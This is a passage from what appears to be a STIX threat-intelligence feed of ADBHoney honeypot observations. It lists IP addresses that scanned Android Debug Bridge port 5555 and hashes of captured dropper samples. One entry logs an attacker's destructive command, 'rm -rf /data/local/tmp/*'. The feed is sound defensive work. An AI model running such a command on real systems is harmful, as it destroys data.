      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-11T20:39:16.000Z | last_seen=2026-05-11T20:40:18.400Z | ports=5555 | cc=CN | asn=37963 | org=Hangzhou Alibaba Advertising Co.,Ltd.",
      "id": "indicator--a85a029b-2ac4-46e7-aff3-a7d137560006",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.79.226.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:00:02.000Z",
      "valid_until": "2026-06-12T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-11T20:39:16.000Z",
          "last_seen": "2026-05-11T20:40:18.400Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "37963"
          ],
          "org": [
            "Hangzhou Alibaba Advertising Co.,Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=24 | first_seen=2026-05-11T22:05:41.000Z | last_seen=2026-05-11T22:15:53.510Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--25ce5a48-c559-46a8-8651-222a04aff4fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:00:03.000Z",
      "valid_until": "2026-06-12T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 24,
          "first_seen": "2026-05-11T22:05:41.000Z",
          "last_seen": "2026-05-11T22:15:53.510Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=26 | first_seen=2026-05-11T22:09:50.000Z | last_seen=2026-05-11T22:20:28.130Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--fbf59f30-d039-47d2-a3b2-d85639ec2d96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:00:03.000Z",
      "valid_until": "2026-06-12T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 26,
          "first_seen": "2026-05-11T22:09:50.000Z",
          "last_seen": "2026-05-11T22:20:28.130Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-11T23:23:12.000Z | last_seen=2026-05-11T23:24:13.176Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--7ced60ea-b750-42e7-82df-3c1eaece21bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.182.141.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:00:03.000Z",
      "valid_until": "2026-06-13T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-11T23:23:12.000Z",
          "last_seen": "2026-05-11T23:24:13.176Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=2; ports=5555; cc=GB; asn=212027; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=2 | first_seen=2026-05-11T23:24:47.966Z | last_seen=2026-05-11T23:25:24.772Z | ports=5555 | cc=GB | asn=212027 | org=PebbleHost Ltd",
      "id": "indicator--6aed754e-c7b1-475d-9044-7cedcf45f504",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.213.3.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:00:03.000Z",
      "valid_until": "2026-06-13T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 2,
          "first_seen": "2026-05-11T23:24:47.966Z",
          "last_seen": "2026-05-11T23:25:24.772Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "212027"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-11T23:39:59.000Z | last_seen=2026-05-11T23:51:40.393Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--f938593e-9be1-45e8-9d34-eb9448f40dbb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:00:03.000Z",
      "valid_until": "2026-06-13T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-11T23:39:59.000Z",
          "last_seen": "2026-05-11T23:51:40.393Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=DE; asn=212512; asn_org=Detai Prosperous Technologies Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-11T23:31:57.000Z | last_seen=2026-05-11T23:33:36.519Z | ports=5555 | cc=DE | asn=212512 | org=Detai Prosperous Technologies Limited",
      "id": "indicator--b0e485a1-3e9e-4ddb-b55a-eff5fa80034b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.82.76.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:00:03.000Z",
      "valid_until": "2026-06-13T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-11T23:31:57.000Z",
          "last_seen": "2026-05-11T23:33:36.519Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "212512"
          ],
          "org": [
            "Detai Prosperous Technologies Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=43; ports=5555; cc=DE; asn=212512; asn_org=Detai Prosperous Technologies Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=43 | first_seen=2026-05-11T23:32:30.000Z | last_seen=2026-05-11T23:42:57.819Z | ports=5555 | cc=DE | asn=212512 | org=Detai Prosperous Technologies Limited",
      "id": "indicator--fbedbd12-88ff-416c-83bc-c4ae61ea5502",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:00:03.000Z",
      "valid_until": "2026-06-13T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 43,
          "first_seen": "2026-05-11T23:32:30.000Z",
          "last_seen": "2026-05-11T23:42:57.819Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "212512"
          ],
          "org": [
            "Detai Prosperous Technologies Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-12T01:25:30.000Z | last_seen=2026-05-12T01:35:46.305Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--fd91c931-e9b9-4949-9ee3-98c30fac0bfe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:00:02.000Z",
      "valid_until": "2026-06-13T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-12T01:25:30.000Z",
          "last_seen": "2026-05-12T01:35:46.305Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-12T01:43:17.000Z | last_seen=2026-05-12T01:44:20.846Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--3634fefd-9e4b-47c2-b46e-633730795603",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:00:02.000Z",
      "valid_until": "2026-06-13T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-12T01:43:17.000Z",
          "last_seen": "2026-05-12T01:44:20.846Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-12T03:43:47.000Z | last_seen=2026-05-12T03:46:42.296Z | ports=5555 | cc=RO | asn=204428 | org=SS-Net",
      "id": "indicator--cb290b49-f3e9-4e99-84a4-83c9fb0630c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T04:00:03.000Z",
      "valid_until": "2026-06-13T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-12T03:43:47.000Z",
          "last_seen": "2026-05-12T03:46:42.296Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "204428"
          ],
          "org": [
            "SS-Net"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T08:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-12T07:07:30.000Z | last_seen=2026-05-29T06:28:43.674Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--240dcbeb-8450-45d5-a801-3140ebdf2f3d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:00:02.000Z",
      "valid_until": "2026-06-13T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-12T07:07:30.000Z",
          "last_seen": "2026-05-29T06:28:43.674Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T09:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/3c9edaec20150b67acb391d516cc9f1dd1d07a968b43a8034ba49508da262db0.raw; last_seen=2026-05-12T08:36:39.498Z",
      "id": "indicator--7140f281-05a9-44bb-96a1-47a40a63d523",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '3c9edaec20150b67acb391d516cc9f1dd1d07a968b43a8034ba49508da262db0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T09:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/50e9e8821455ec4775b0c22a9dc0e0dba39ac6fb166f6d20b7b09fa2b30a458a.raw; last_seen=2026-05-12T08:36:26.366Z",
      "id": "indicator--615bad15-c40e-4599-8884-6ac0c0c53b0c",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '50e9e8821455ec4775b0c22a9dc0e0dba39ac6fb166f6d20b7b09fa2b30a458a']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T09:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/aab5691c80cee986173e7c88c3b4aedb3769d8810cc134071d1cb049b152a283.raw; last_seen=2026-05-12T08:36:35.053Z",
      "id": "indicator--de585b8f-8079-464a-a3c5-01b9559ac935",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'aab5691c80cee986173e7c88c3b4aedb3769d8810cc134071d1cb049b152a283']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=IN; asn=135738; asn_org=Adn Broadband; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=34 | first_seen=2026-05-12T11:00:00.000Z | last_seen=2026-05-12T11:10:10.815Z | ports=5555 | cc=IN | asn=135738 | org=Adn Broadband",
      "id": "indicator--a12a8e55-5b48-4816-bf44-30a33e278180",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.178.61.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:00:02.000Z",
      "valid_until": "2026-06-13T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 34,
          "first_seen": "2026-05-12T11:00:00.000Z",
          "last_seen": "2026-05-12T11:10:10.815Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "135738"
          ],
          "org": [
            "Adn Broadband"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-12T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=44; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-05. events=44 | first_seen=2026-05-12T11:27:27.000Z | last_seen=2026-05-12T11:42:38.596Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5",
      "id": "indicator--d1c25c2a-423f-4e69-8675-489f15f8e4ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '183.109.105.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:00:02.000Z",
      "valid_until": "2026-06-13T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 44,
          "first_seen": "2026-05-12T11:27:27.000Z",
          "last_seen": "2026-05-12T11:42:38.596Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5"
          ]
        }
      },
